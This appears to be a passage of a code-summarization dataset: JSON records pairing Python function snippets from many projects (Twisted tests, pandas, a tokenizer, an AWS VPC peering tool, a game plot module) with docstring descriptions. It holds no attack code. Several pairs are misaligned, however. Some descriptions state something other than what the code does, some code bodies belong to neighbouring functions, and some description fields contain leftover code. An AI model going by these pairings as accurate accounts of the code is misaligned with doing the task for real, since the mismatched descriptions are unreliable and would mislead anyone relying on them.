self.transport == \"https\" and has_https:h = HTTPSConnection(url[1])else:h = HTTPConnection(url[1])headers = {\"Content-type\": 'application/x-www-form-urlencoded; charset=\"utf-8\"',\"Accept\": \"text/plain\"}data = self._data_encoded()oldtimeout = getdefaulttimeout()try:setdefaulttimeout(10)h.request(\"POST\", url[2], data, headers)reply = h.getresponse()if reply.status != 200:raise ValueError, \"%s (%s)\" % (reply.read(), reply.status)finally:setdefaulttimeout(oldtimeout)if __name__=='__main__':new = post()#new.transport = \"https\"new.set(\"account\", \"YOUR KEY HERE\")new.set(\"priority\", 4)new.set(\"user_agent\", \"Mozilla/5.0 (Macintosh; U; Intel Mac OS X...\")new.set(\"url\", \"http://badapp.org/-\\ufffdwe-cant-lose\")new.set(\"uid\", \"123124123123\")new.set(\"ip\", \"127.0.0.1\")new.set(\"type\", \"Test from python\")new.set(\"status\", \"403\")new.set(\"server\", \"Test Script\")new.set(\"request\", This is the bit that goes in the request)"} {"code": "def test_readWithBogusPID(self):\n pidValue = b\"$foo!\"\n pidFile = PIDFile(DummyFilePath(pidValue))\n\n e = self.assertRaises(InvalidPIDFileError, pidFile.read)\n self.assertEqual(\n str(e),\n \"non-integer PID value in PID file: {!r}\".format(pidValue)\n )\n\n", "nl": "L{PIDFile.read} raises L{InvalidPIDFileError} when given an empty filepath."} {"code": "def untrained_service():\n df_clinc = pd.read_csv(\"tests/data/clinc-data.csv\")\n\n pretrained_encoder = make_pipeline(ColumnLister(column=\"text\"), CountVectorizer())\n pretrained_encoder.fit(df_clinc)\n\n pretrained_service_clinc = Service(\n encoder=pretrained_encoder,\n indexer=PyNNDescentIndexer(metric=\"euclidean\", n_neighbors=2),\n refit=False,\n )\n\n pretrained_service_clinc.train_from_dataf(df_clinc, features=[\"text\"])\n\n return pretrained_service_clinc", "nl": "Create a service that's not seen any data.return Service(encoder=make_pipeline(ColumnLister(column=\"text\"), CountVectorizer()),indexer=PyNNDescentIndexer(metric=\"euclidean\", n_neighbors=2),)@pytest.fixture(scope=\"session\")def pretrained_clinc_service():Create a service with a pretrained encoder"} {"code": "def visit_verbatimtext(self, layout):\n self.writeln(\"::\\n\")\n for line in layout.data.splitlines():\n self.writeln(\" \" + line)\n self.writeln()\n", "nl": "display a verbatim layout as text (so difficult ;)"} {"code": "def _pval_pairs(self, idx0, idx1):\n return self._test_pairs(idx0=idx0, idx1=idx1)\n\n\nclass DifferentialExpressionTestZTestLazy(_DifferentialExpressionTestPairwiseLazyBase):\n \"\"\"\n\n model_estim: glm.typing.EstimatorBaseTyping\n _theta_mle: np.ndarray\n _theta_sd: np.ndarray\n", "nl": "Test-specific p-values accessor for the comparison of groups0 to groups1.:param idx0: List of indices of first set of group of observations in pair-wise comparison.:param idx1: List of indices of second set of group of observations in pair-wise comparison.:return: p-values"} {"code": "def timesamplings(self):\n if not self.__time_sampling_objects and self.iobject:\n iarch = self.iobject\n num_samples = iarch.getNumTimeSamplings()\n return [iarch.getTimeSampling(i) for i in range(num_samples)]\n return self.__time_sampling_objects\n", "nl": "Generator that yields tuples of (index, TimeSampling) objects."} {"code": "def setUp(self):\n self.proto = MemCacheProtocol()\n self.clock = Clock()\n self.proto.callLater = self.clock.callLater\n self.transport = StringTransportWithDisconnection()\n self.transport.protocol = self.proto\n self.proto.makeConnection(self.transport)\n\n", "nl": "Create a memcache client, connect it to a string protocol, and make ituse a deterministic clock."} {"code": "def set_input(self, input):\n input, targets = input\n self.img = input['img'].to(self.device)\n self.img_path = input['img_path']\n self.occ_prev = input['obj_occ_prev'].to(self.device).float().unsqueeze(dim=1)\n self.obj_q = input['obj_q'].to(self.device).float()\n self.obj_r = input['obj_r'].to(self.device).float()\n self.azims = torch.as_tensor(input['azim']).to(self.device).reshape(-1).float()\n self.elevs = torch.as_tensor(input['elev']).to(self.device).reshape(-1).float()\n self.hms = [hm.to(self.device) for hm in input['hm']]\n\n self.offset_regs = [reg.to(self.device) for reg in input['reg']]\n self.offset_regs_mask = [m.to(self.device) for m in input['reg_mask']]\n self.bids = [b.to(self.device) for b in input['bid']]\n self.rots = [r.to(self.device).long() for r in input['rot']]\n self.inds = [i.to(self.device).long() for i in input['ind']]\n\n self.offset_regs = [reg.to(self.device) for reg in input['reg']]\n self.offset_regs_mask = [m.to(self.device) for m in input['reg_mask']]\n self.bids = [b.to(self.device) for b in input['bid']]\n self.rots = [r.to(self.device).long() for r in input['rot']]\n self.inds = [i.to(self.device).long() for i in input['ind']]\n\n self.offset_regs_flat = input['reg_flat'].to(self.device)\n self.offset_regs_mask_flat = input['reg_mask_flat'].to(self.device)\n self.bids_flat = input['bid_flat'].to(self.device)\n self.rots_flat = input['rot_flat'].to(self.device).long()\n self.inds_flat = input['ind_flat'].to(self.device).long()\n self.trans_flat = input['trans_flat'].to(self.device)\n\n self.kps_target = input['kp']\n self.trans = [targets[i]['trans'] for i in range(len(targets))]\n if self.opt.load_bricks:\n self.op_types = [targets[i]['op_type'] for i in range(len(targets))]\n self.bricks = input['bricks']\n self.obj_scales = input['obj_scale'].to(self.device)\n self.obj_centers = input['obj_center'].to(self.device)\n self.brick_occs = [b.to(self.device) for b in input['brick_occs']]\n self.bid_counter = input['bid_counter']\n self.reorder_map = input['reorder_map']\n self.cbricks = input['cbrick']\n", "nl": "Unpack input data from the dataloader and perform necessary pre-processing steps.Parameters:input: a dictionary that contains the data itself and its metadata information."} {"code": "def _special_dbkey_maps(dbkey, ref_file):\n remaps = {\"hg19\": \"GRCh37\",\n \"hg38-noalt\": \"hg38\"}\n if dbkey in remaps:\n base_dir = os.path.normpath(os.path.join(os.path.dirname(ref_file), os.pardir))\n vep_dir = os.path.normpath(os.path.join(base_dir, \"vep\"))\n other_dir = os.path.relpath(os.path.normpath(os.path.join(base_dir, os.pardir, remaps[dbkey], \"vep\")),\n base_dir)\n if os.path.exists(os.path.join(base_dir, other_dir)):\n if not os.path.lexists(vep_dir):\n os.symlink(other_dir, vep_dir)\n return vep_dir\n else:\n return None\n else:\n return None\n\n", "nl": "Avoid duplicate VEP information for databases with chromosome differences like hg19/GRCh37."} {"code": "def main(args):\n logger = set_up_logging()\n if args.debug:\n logger.setLevel(logging.DEBUG)\n logger.info('peerd: AWS VPC Peering Management Tool')\n\n with open(args.config, 'r') as fh:\n config_file = yaml.safe_load(fh)\n\n metadata = config_file['metadata']\n metadata['environment'] = args.environment\n raw_config = config_file['environments'][args.environment]\n\n peerd.aws.COMMON_PRINCIPAL_NAME = metadata['common_principal_name']\n peerd.aws.ROLE_SESSION_NAME = metadata['role_session_name']\n\n filtered_config = filter_working_accounts(raw_config)\n filtered_config[:] = [x for x in filtered_config if describe_vpc_cached(**x)]\n\n target_peerings = target_vpc_peerings(filtered_config)\n\n for chunked_peerings in chunk_list(target_peerings, 25):\n pending_acceptance_peerings = create_vpc_peerings(chunked_peerings, metadata, args.dryrun)\n accept_vpc_peerings(pending_acceptance_peerings, metadata, args.dryrun)\n\n update_route_tables(target_peerings, metadata, args.dryrun)\n\n delete_unneeded_peerings(raw_config, metadata, args.dryrun)\n\n logger.info(f'Number of warnings: {logger.warning.counter}')\n logger.info(f'Number of errors: {logger.error.counter}')\n if logger.error.counter > 0:\n logger.error('Number of errors greater than one. Setting non-zero exit code. Inspect logs.')\n sys.exit(1)\n\n\nif __name__ == '__main__':\n main(parseargs())", "nl": "App entrypoint."} {"code": "def matches(self, pstate):\n return pstate.elements.get(COMPLICATION, 0) == CONTRABAND_CARGO and pstate.elements.get(VIRTUE,\n 0) != personality.Fellowship and pstate.elements.get(\n SSTATE, 0) != COMPLICATION\n", "nl": "Returns True if this plot matches the current plot state.return pstate.elements.get(ENEMY, 0) == PIRATES and pstate.elements.get(VIRTUE,0) != personality.Duty and pstate.elements.get(SSTATE, 0) != ENEMYdef custom_init(self, nart):myscene = self.elements[\"LOCALE\"]self.register_element(VIRTUE, personality.Duty)self.register_element(SSTATE, ENEMY)mygoal = self.register_element(\"_room\",pbge.randmaps.rooms.NoWallRoom(5, 5, anchor=self.elements[\"MHOICE_ANCHOR\"]),dident=\"LOCALE\")myexit = self.register_element(\"_waypoint\", ghwaypoints.Exit(plot_locked=True, name=\"Continue Onward\",anchor=self.elements[\"MHOICE_ANCHOR\"]),dident=\"_room\")self.add_sub_plot(nart, \"MOCHA_FB_WILDBATTLE\", ident=\"FINAL_ENCOUNTER\")return Truedef start_mission(self, camp):self.subplots[\"FINAL_ENCOUNTER\"].start_battle(camp)camp.campdata[MOVAR_FOUGHTBLITZEN] = Truedef _waypoint_menu(self, camp, thingmenu):thingmenu.desc = \"The pirates seem to be having trouble navigating on Earth. They've left the road and headed into the forest. It should be no problem to catch up with them there.\"thingmenu.add_item('Do your duty', self.start_mission)thingmenu.add_item('Examine the other options first', None)class Choice_FellowshipWithSmugglers(Plot):LABEL = \"MOCHA_MHOICE\"active = Truescope = True# Info for the plot checker...REQUIRES = {COMPLICATION: CONTRABAND_CARGO}@classmethoddef matches(self, pstate):Returns True if this plot matches the current plot state."} {"code": "def gbs_sample_runtime(sample, c=c_fugaku, return_ncg=False):\n N_c, G = ncg(sample)\n modes = len(sample)\n r = gbs_runtime(N_c, G, modes, c)\n\n if not return_ncg:\n return r\n return r, N_c, G", "nl": "Simulation time of a GBS sample (cf. L.S. Madsen et al.,\"Quantum computational advantage with a programmable photonicprocessor\", Nature (2022)\")Args:sample (array[int]): a photon-number array of shape``(temporal_modes,)``c (float): a supercomputer benchmark parameter (see referenceabove)return_ncg (bool): if ``True`` return not only runtime but alsothe number of non-zero detector events ``N_c`` and thecollision parameter ``G``Returns:float: the simulation time of a sample in seconds;if ``return_ncg`` also returns ``N_c`` and ``G``"} {"code": "def unk_token_id(self):\n return self.convert_tokens_to_ids(self.sep_token)\n\n @property", "nl": " Id of the unknown token in the vocabulary. Log an error if used while not having been set. return self.convert_tokens_to_ids(self.unk_token)@propertydef sep_token_id(self): Id of the separation token in the vocabulary. E.g. separate context and query in an input sequence. Log an error if used while not having been set. "} {"code": "def ndim(self) -> int:\n return self._data.ndim\n\n @property", "nl": "Return an int representing the number of axes / array dimensions.Return 1 if Series. Otherwise return 2 if DataFrame.See Also--------ndarray.ndim : Number of array dimensions.Examples-------->>> s = pd.Series({'a': 1, 'b': 2, 'c': 3})>>> s.ndim1>>> df = pd.DataFrame({'col1': [1, 2], 'col2': [3, 4]})>>> df.ndim2"} {"code": "def test_seq_exec(self) -> None:\n recipe = CookBook.seq_increase.src\n assert affirm(nb_path=self.nb, exprs=[recipe]) is False\n", "nl": "Ensure that the notebook code cells are executed in order.recipe = CookBook.seq_exec.srcassert affirm(nb_path=self.nb, exprs=[recipe]) is Falsedef test_seq_increase(self) -> None:Ensure that the notebook code cells are executed monotonically."} {"code": "def isSelfClosingTag(self, name):\n return self.SELF_CLOSING_TAGS.has_key(name) \\\n or self.instanceSelfClosingTags.has_key(name)\n", "nl": "Returns true iff the given string is the name of aself-closing tag according to this parser."} {"code": "def fetchArticle(self, index = ''):\n self.sendLine('ARTICLE %s' % (index,))\n self._newState(self._stateArticle, self.getArticleFailed)\n\n", "nl": "Get the complete article with the specified index (or the currentlyselected article if index is '') or Message-ID from the server.gotArticle() is called on success, getArticleFailed() on failure."} {"code": "def api_version(self, api_version):\n\n self._api_version = api_version\n\n @property", "nl": "Sets the api_version of this V1alpha1WorkflowTemplateList.APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.io.k8s.community/contributors/devel/sig-architecture/api-conventions.md#resources # noqa: E501:param api_version: The api_version of this V1alpha1WorkflowTemplateList. # noqa: E501:type: str"} {"code": "def mpn(self):\n return self._safe_get_element_text('ItemAttributes.MPN')\n\n @property", "nl": "MPN.:return:MPN (string)"} {"code": "def __init__(self, full_name):\n return f\"{self.hacs.core.config_path}/www/community/{self.data.full_name.split('/')[-1]}\"\n", "nl": "Initialize.super().__init__()self.data.full_name = full_nameself.data.full_name_lower = full_name.lower()self.data.file_name = Noneself.data.category = \"plugin\"self.information.javascript_type = Noneself.content.path.local = self.localpath@propertydef localpath(self):Return localpath."} {"code": "def unregister_all_properties(self):\n", "nl": "Unregister all defined propertiesself._properties.clear()def find_properties(self, string, node, name=None, validate=True, re_match=False, sort=True, multiple=False):Find all distinct properties for given string"} {"code": "def get_metadata_lines(name):\n", "nl": "Yield named metadata resource as list of non-blank non-comment linesLeading and trailing whitespace is stripped from each line, and lineswith ``#`` as the first non-blank character are omitted."} {"code": "def feature_frequencies(self):\n print('Plotting feature frequencies.')\n if labels is None:\n labels = list(self.feature_frequencies.keys())\n if frequencies is None:\n frequencies = list(self.feature_frequencies.values())\n fig, ax = plt.subplots(figsize=(12, int(len(labels)*0.6)))\n ax = sns.barplot(x=frequencies, y=labels)\n ax.set_xlabel(r'Occurrence probability (\\%)')\n plt.tight_layout()\n\n if show:\n plt.show()\n\n return fig, ax\n", "nl": "Compute how often every feature occurs in the population.all_genes = np.array(self.genes).flatten()gene_occurrences = np.bincount(all_genes)features = list(self.X.columns)feature_occurrences = sorted(list(zip(features, gene_occurrences)), key=lambda tup: tup[1], reverse=True)occ = np.array(list(zip(*feature_occurrences))[1])self._feature_frequencies = dict(zip(list(list(zip(*feature_occurrences))[0]), occ/occ.sum()*100))return self._feature_frequenciesdef plot_features(self,labels=None,frequencies=None,show=True):Plots feature frequencies"} {"code": "def __init__(self, machine):\n return 'PluginPlayer.{}'.format(self.show_section)\n", "nl": "Initialise plugin player.super().__init__(machine)self.bcp_client = Noneself._show_keys = {}def __repr__(self):Return str representation."} {"code": "def append(self, lszcrypt_entry):\n self._entries.append(CryptoDeviceInfoEntry.from_string(lszcrypt_entry))\n\n @property", "nl": "Append a new row on the table:param lszcrypt_entry: LszcryptRow instance:return: None"} {"code": "def _coerce_scalar_to_timedelta_type(r, unit=\"ns\", errors=\"raise\"):\n\n if isinstance(arg, (list, tuple)) or not hasattr(arg, \"dtype\"):\n arg = np.array(list(arg), dtype=object)\n\n try:\n value = sequence_to_td64ns(arg, unit=unit, errors=errors, copy=False)[0]\n except ValueError:\n if errors == \"ignore\":\n return arg\n else:\n raise\n\n from pandas import TimedeltaIndex\n\n value = TimedeltaIndex(value, unit=\"ns\", name=name)\n return value", "nl": "Convert string 'r' to a timedelta object.try:result = Timedelta(r, unit)except ValueError:if errors == \"raise\":raiseelif errors == \"ignore\":return r# coerceresult = NaTreturn resultdef _convert_listlike(arg, unit=\"ns\", errors=\"raise\", name=None):Convert a list of objects to a timedelta index object."} {"code": "def rect(value):\n\n Accepts:\n * A string: \"'<' '>' '{' '}'\"\n * A sequence: ('<', '>') or ['{', '}']\n * A list of 2 item tuples: [('<', '>'), ('{', '}')]\n \"\"\"", "nl": "Parse a given rect shape.value = ' '.join(val.strip() for val in value.split())if (value.startswith('rect(') and value.endswith(')')and value.count('rect(') == 1 and value.count(')') == 1):value = value.replace('rect(', '')value = value.replace(')', '').strip()values = Noneif value.count(',') == 3:values = value.split(',')elif value.count(',') == 0 and value.count(' ') == 3:values = value.split(' ')if values is not None:values = [units(val.strip()) for val in values]return Rect(*values)raise ValueError('Unknown shape %s' % value)def quotes(value):Parse content quotes."} {"code": "def test_delete_triple_no_parameter(self):\n with self.assertRaises(ParserException):\n self._graph.parse_template_expression(template1)\n\n template2 = ET.fromstring(\"\"\"\n ast2 = self._graph.parse_template_expression(template2)\n self.assertIsNotNone(ast2)\n self.assertIsInstance(ast2.children[0], TemplateDeleteTripleNode)\n node = ast2.children[0]\n self.assertEqual(0, len(node.children))\n self.assertIsNotNone(node._subj)\n self.assertIsNone(node._pred)\n self.assertIsNone(node._obj)\n\n template3 = ET.fromstring(\"\"\"\n ast3 = self._graph.parse_template_expression(template3)\n self.assertIsNotNone(ast3)\n self.assertIsInstance(ast3.children[0], TemplateDeleteTripleNode)\n node = ast3.children[0]\n self.assertEqual(0, len(node.children))\n self.assertIsNotNone(node._subj)\n self.assertIsNotNone(node._pred)\n self.assertIsNone(node._obj)\n\n template4 = ET.fromstring(\"\"\"\n with self.assertRaises(ParserException):\n self._graph.parse_template_expression(template4)", "nl": "template1 = ET.fromstring()"} {"code": "def test_get_template_typedata_as_child(self):\n ast = self._graph.parse_template_expression(template)\n self.assertIsNotNone(ast)\n self.assertIsInstance(ast, TemplateNode)\n self.assertIsNotNone(ast.children)\n self.assertEqual(len(ast.children), 1)\n\n get_node = ast.children[0]\n self.assertIsNotNone(get_node)\n self.assertIsInstance(get_node, TemplateGetNode)\n self.assertIsNotNone(get_node.name)\n self.assertIsInstance(get_node.name, TemplateNode)\n self.assertEqual(get_node.name.resolve(self._client_context), \"data as text\")\n self.assertEqual(get_node.property_type, \"data\")\n", "nl": "template = ET.fromstring()"} {"code": "def __init__(self, id=None):\n self.id = id\n self.left = None\n self.right = None\n self.feature = None\n self.threshold = None\n self.value = None\n\n\nclass TreeParameters:\n \"\"\"\n", "nl": "Args:id: A unique ID for the nodeleft: The id of the left noderight: The id of the right nodefeature: The feature used to make a decision (if not leaf node, ignored otherwise)threshold: The threshold used in the decision (if not leaf node, ignored otherwise)value: The value stored in the leaf (ignored if not leaf node)."} {"code": "def events(self) -> Set[str]:\n\n PASS_VALUE = +1.0\n FAIL_VALUE = -1.0\n", "nl": "A set of (variable, value) pairs observedreturn self.varsif __name__ == '__main__':debugger = test_debugger_html(ContinuousSpectrumDebugger(ValueCollector))for event in debugger.all_events():print(event)if __name__ == '__main__':for event in debugger.only_fail_events():print(event)if __name__ == '__main__':debugger.event_table(color=True, args=True)## Training Classifiers## --------------------if __name__ == '__main__':print('\\n## Training Classifiers')class ClassifyingDebugger(DifferenceDebugger):A debugger implementing a decision tree for events"} {"code": "def max_id(cls):\n\n return cls.select(fn.Max(cls.id)).scalar()\n\n @classmethod", "nl": "Get the max id on the table.Returns: int"} {"code": "def file_ext(self):\n pass\n", "nl": "The file extension for target files in Apache dir."} {"code": "def xloss(logits, labels, ignore=None):\n return F.cross_entropy(logits, Variable(labels), ignore_index=255)\n\n", "nl": "Cross entropy loss"} {"code": "def get_datetime(hours):\n order = data_types.BuildCrashStatsJobHistory.end_time_in_hours\n if is_last:\n order = -order\n\n item = data_types.BuildCrashStatsJobHistory.query().order(order).get()\n if not item:\n return None\n\n return item.end_time_in_hours\n\n", "nl": "Get datetime obj from hours from epoch.return datetime.datetime.utcfromtimestamp(hours * 60 * 60)def _get_first_or_last_successful_hour(is_last):Get the first successful hour."} {"code": "def get_config_vars(*args):\n import re\n global _CONFIG_VARS\n if _CONFIG_VARS is None:\n _CONFIG_VARS = {}\n _CONFIG_VARS['prefix'] = _PREFIX\n _CONFIG_VARS['exec_prefix'] = _EXEC_PREFIX\n _CONFIG_VARS['py_version'] = _PY_VERSION\n _CONFIG_VARS['py_version_short'] = _PY_VERSION_SHORT\n _CONFIG_VARS['py_version_nodot'] = _PY_VERSION[0] + _PY_VERSION[2]\n _CONFIG_VARS['base'] = _PREFIX\n _CONFIG_VARS['platbase'] = _EXEC_PREFIX\n _CONFIG_VARS['projectbase'] = _PROJECT_BASE\n\n posix_build = None\n if os.name == 'posix':\n posix_build = True\n else:\n if os.name in ('nt', 'os2'):\n if sys.version.find('GCC') >= 0:\n posix_build = True\n else:\n posix_build = False\n if posix_build == False:\n _init_non_posix(_CONFIG_VARS)\n if posix_build == True:\n _init_posix(_CONFIG_VARS)\n\n _CONFIG_VARS['userbase'] = _getuserbase()\n\n if 'srcdir' not in _CONFIG_VARS:\n _CONFIG_VARS['srcdir'] = _PROJECT_BASE\n\n if _PYTHON_BUILD and posix_build == True:\n base = _PROJECT_BASE\n try:\n cwd = os.getcwd()\n except OSError:\n cwd = None\n if (not os.path.isabs(_CONFIG_VARS['srcdir']) and\n base != cwd):\n srcdir = os.path.join(base, _CONFIG_VARS['srcdir'])\n _CONFIG_VARS['srcdir'] = os.path.normpath(srcdir)\n\n if sys.platform == 'darwin':\n import _osx_support\n _osx_support.customize_config_vars(_CONFIG_VARS)\n\n if args:\n vals = []\n for name in args:\n vals.append(_CONFIG_VARS.get(name))\n return vals\n else:\n return _CONFIG_VARS\n", "nl": "With no arguments, return a dictionary of all configurationvariables relevant for the current platform.On Unix, this means every variable defined in Python's installed Makefile;On Windows and Mac OS it's a much smaller set.With arguments, return a list of values that result from looking upeach argument in the configuration variable dictionary."} {"code": "def ls_files(self):\n Return the current ref\n git symbolic-ref HEAD\n else: git name-rev --name-only --always HEAD\n \"\"\"", "nl": " Calls git ls-files and returns a list (status, out) = self.call(\"ls-files\", raises=False)if status != 0:return Nonelines = out.splitlines()return linesdef get_current_ref(self, ref=\"HEAD\"):"} {"code": "def to_numpy_dtypes(dtypes):\n Get all functions in pandas.core.dtypes.common that\n begin with 'is_' and end with 'dtype'\n\n \"\"\"", "nl": " convert list of string dtypes to numpy dtype return [getattr(np, dt) for dt in dtypes if isinstance(dt, str)]class TestPandasDtype(object):# Passing invalid dtype, both as a string or object, must raise TypeError# Per issue GH15520@pytest.mark.parametrize('box', [pd.Timestamp, 'pd.Timestamp', list])def test_invalid_dtype_error(self, box):with pytest.raises(TypeError, match='not understood'):com.pandas_dtype(box)@pytest.mark.parametrize('dtype', [object, 'float64', np.object_, np.dtype('object'), 'O',np.float64, float, np.dtype('float64')])def test_pandas_dtype_valid(self, dtype):assert com.pandas_dtype(dtype) == dtype@pytest.mark.parametrize('dtype', ['M8[ns]', 'm8[ns]', 'object', 'float64', 'int64'])def test_numpy_dtype(self, dtype):assert com.pandas_dtype(dtype) == np.dtype(dtype)def test_numpy_string_dtype(self):# do not parse freq-like string as period dtypeassert com.pandas_dtype('U') == np.dtype('U')assert com.pandas_dtype('S') == np.dtype('S')@pytest.mark.parametrize('dtype', ['datetime64[ns, US/Eastern]','datetime64[ns, Asia/Tokyo]','datetime64[ns, UTC]'])def test_datetimetz_dtype(self, dtype):assert (com.pandas_dtype(dtype) ==DatetimeTZDtype.construct_from_string(dtype))assert com.pandas_dtype(dtype) == dtypedef test_categorical_dtype(self):assert com.pandas_dtype('category') == CategoricalDtype()@pytest.mark.parametrize('dtype', ['period[D]', 'period[3M]', 'period[U]','Period[D]', 'Period[3M]', 'Period[U]'])def test_period_dtype(self, dtype):assert com.pandas_dtype(dtype) is PeriodDtype(dtype)assert com.pandas_dtype(dtype) == PeriodDtype(dtype)assert com.pandas_dtype(dtype) == dtypedtypes = dict(datetime_tz=com.pandas_dtype('datetime64[ns, US/Eastern]'),datetime=com.pandas_dtype('datetime64[ns]'),timedelta=com.pandas_dtype('timedelta64[ns]'),period=PeriodDtype('D'),integer=np.dtype(np.int64),float=np.dtype(np.float64),object=np.dtype(np.object),category=com.pandas_dtype('category'))@pytest.mark.parametrize('name1,dtype1',list(dtypes.items()),ids=lambda x: str(x))@pytest.mark.parametrize('name2,dtype2',list(dtypes.items()),ids=lambda x: str(x))def test_dtype_equal(name1, dtype1, name2, dtype2):# match equal to self, but not equal to otherassert com.is_dtype_equal(dtype1, dtype1)if name1 != name2:assert not com.is_dtype_equal(dtype1, dtype2)@pytest.mark.parametrize(\"dtype1,dtype2\", [(np.int8, np.int64),(np.int16, np.int64),(np.int32, np.int64),(np.float32, np.float64),(PeriodDtype(\"D\"), PeriodDtype(\"2D\")), # PeriodType(com.pandas_dtype(\"datetime64[ns, US/Eastern]\"),com.pandas_dtype(\"datetime64[ns, CET]\")), # Datetime(None, None) # gh-15941: no exception should be raised.])def test_dtype_equal_strict(dtype1, dtype2):assert not com.is_dtype_equal(dtype1, dtype2)def get_is_dtype_funcs():"} {"code": "def visit_raise(self, node):\n\n if node.exc is None:\n return\n expr = node.exc\n if self._check_raise_value(node, expr):\n return\n try:\n value = next(astroid.unpack_infer(expr))\n except astroid.InferenceError:\n return\n self._check_raise_value(node, value)\n", "nl": "Visit a raise statement and check for raisingstrings or old-raise-syntax."} {"code": "def prefetch(self):\n qs = self.select_related()\n qs._prefetch_relations = True\n return qs\n", "nl": "Marks the current queryset to prefetch all generic relations."} {"code": "def _modify_iter_params(self, params):\n params = super(Items, self)._modify_iter_params(params)\n offset = params.pop('offset', None)\n if offset:\n params['start'] = '{}/{}'.format(self.key, offset)\n return params\n", "nl": "Modify iter filter to convert offset to start parameter.:return: a dict with updated set of params.:rtype: :class:`dict`"} {"code": "def get_min_zoom(self):\n return self.min_zoom\n", "nl": "Return the minimum zoom of this source"} {"code": "def merge_durations(duration_files: list, output_suffix: str):\n outname = f'test_durations/.test_durations_{output_suffix}'\n durations_path = Path(outname)\n try:\n previous_durations = json.loads(durations_path.read_text())\n except FileNotFoundError:\n previous_durations = {}\n new_durations = previous_durations.copy()\n\n for path in duration_files:\n d = Path(path)\n durations = json.loads(d.read_text())\n new_durations.update(\n {\n name: duration\n for (name, duration) in durations.items()\n if previous_durations.get(name) != duration\n }\n )\n\n durations_path.parent.mkdir(parents=True, exist_ok=True)\n\n with open(outname, 'w') as o:\n o.writelines(json.dumps(new_durations))\n\n\nif __name__ == '__main__':\n regex = re.compile(r'.*python-((\\d+\\.?)+).*')\n files = Path('.').glob('duration-chunk-*/*')\n versions = {}\n for f in files:\n m = regex.match(str(f))\n if m:\n versions[m.group(1)] = [m.group(0)] + versions.get(m.group(1), [])\n\n for py_vers, file_list in versions.items():\n merge_durations(file_list, py_vers)", "nl": "Merge duration files listed in the input arg in an outputfile withthe given suffix"} {"code": "def waveFloatToPCMFile(waveData, wavFile, bit=16, sr=16000):\n\n rawData = waveData * np.power(2.0, bit-1)\n rawData[rawData >= np.power(2.0, bit-1)] = np.power(2.0, bit-1)-1\n rawData[rawData < -1*np.power(2.0, bit-1)] = -1*np.power(2.0, bit-1)\n\n if bit == 16:\n rawData = np.asarray(rawData, dtype=np.int16)\n elif bit == 32:\n rawData = np.asarray(rawData, dtype=np.int32)\n else:\n print(\"Only be able to save wav in int16 and int32 type\")\n print(\"Save to int16\")\n rawData = np.asarray(rawData, dtype=np.int16)\n scipy.io.wavfile.write(wavFile, sr, rawData)\n return\n", "nl": "waveSaveFromFloat(waveData, wavFile, bit=16, sr=16000)Save waveData (np.float32) as PCM *.wavArgs:waveData: waveform data as np.float32wavFile: output PCM waveform filebit: PCM bitssr: sampling rate"} {"code": "def momentum(self):\n return self._trainable\n\n @trainable.setter", "nl": "Momentum rates.for m in self._momentum:if m.item() < 0:m.data.fill_(1e-6)yield m@propertydef trainable(self):Trainable parameters flag."} {"code": "def test_reproduce_mut1_range_gt_step():\n\n problem = ContinuousOpt(5, OneMax(), maximize=True,\n min_val=0, max_val=2, step=1)\n father = np.array([0, 0, 0, 0, 0])\n mother = np.array([2, 2, 2, 2, 2])\n\n child = problem.reproduce(father, mother, mutation_prob=1)\n\n assert (len(child) == 5 and sum(child) > 0 and sum(child) < 10)\n\n @staticmethod", "nl": "Test reproduce method when mutation_prob is 1 and range isgreater than step size"} {"code": "def copy(self, writer, n):\n self.copy(None, n)\n", "nl": "Read n bytes and write them using writerself.pos += nwhile n:if n <= len(self.buf):if writer:writer(self.buf[:n])self.buf = self.buf[n:]returnif writer and self.buf:writer(self.buf)n -= len(self.buf)self.buf = next(self.it)def skip(self, n):Skip n bytes"} {"code": "def mouseOver(self, pos):\n self._border_guide.mouse_over(pos)\n self._compass_guide.mouse_over(pos)\n self._compass_ex_guide.mouse_over(pos)\n self._vsplit_guide.mouse_over(pos)\n self._hsplit_guide.mouse_over(pos)\n self._area_guide.mouse_over(pos)\n self.update()\n", "nl": " Update the guide pads based on the mouse position.This current mode of the guide rose is used to determine whichof the guide pads to should be updated.Parameters----------pos : QPointThe position of the mouse expressed in local coordinates."} {"code": "def test_delete_page(self):\n\n page_1 = DispatchTestHelpers.create_page(self.client, 'page 1', 'page-1')\n page_2 = DispatchTestHelpers.create_page(self.client, 'page 1 and 2', 'page-2')\n page_3 = DispatchTestHelpers.create_page(self.client, 'page 3', 'page-3')\n\n url = '%s?q=%s' % (reverse('api-pages-list'), 'page 1')\n\n response = self.client.get(url, format='json')\n\n data = response.data\n\n self.assertEqual(data['results'][0]['title'], 'page 1 and 2')\n self.assertEqual(data['results'][1]['title'], 'page 1')\n self.assertEqual(data['count'], 2)\n", "nl": "Ensure that you can delete your pagepage = DispatchTestHelpers.create_page(self.client)url = reverse('api-pages-detail', args=[page.data['id']])# Successful deletion should return 204response = self.client.delete(url, format='json')self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)# Can't delete a page that has already been deletedresponse = self.client.delete(url, format='json')self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)def test_pages_search(self):Should be able to search through pages"} {"code": "def __set_stack_frame_check(context, flag_name, flag_value):\n del context, flag_name, flag_value\n flag_values = {\n 'true': {'check_args': 'stack'},", "nl": "Set check:stack"} {"code": "def get_partition_strategy(self):\n\n partition_name = self.srdd.getPartitionStrategyName()\n\n if partition_name:\n if partition_name == \"HashPartitioner\":\n return HashPartitionStrategy(self.getNumPartitions())\n elif partition_name == \"SpaceTimePartitioner\":\n scala_partitioner = self.srdd.rdd().partitioner().get()\n\n return SpaceTimePartitionStrategy(TimeUnit(scala_partitioner.getTimeUnit()),\n self.getNumPartitions(),\n scala_partitioner.getBits(),\n scala_partitioner.getTimeResolution())\n\n else:\n scala_partitioner = self.srdd.rdd().partitioner().get()\n\n return SpatialPartitionStrategy(self.getNumPartitions(), scala_partitioner.getBits())\n else:\n return None\n\n\nclass RasterLayer(CachableLayer, TileLayer):\n \"\"\"A wrapper of a RDD that contains GeoTrellis rasters.\n\n __slots__ = ['pysc', 'layer_type', 'srdd']\n", "nl": "Returns the partitioning strategy if the layer has one.Returns::class:`~geopyspark.HashPartitioner` or :class:`~geopyspark.SpatialPartitioner` or :class:`~geopyspark.SpaceTimePartitionStrategy` or ``None``"} {"code": "def test_create_opponent_initiated(self):\n", "nl": "Test the opponent 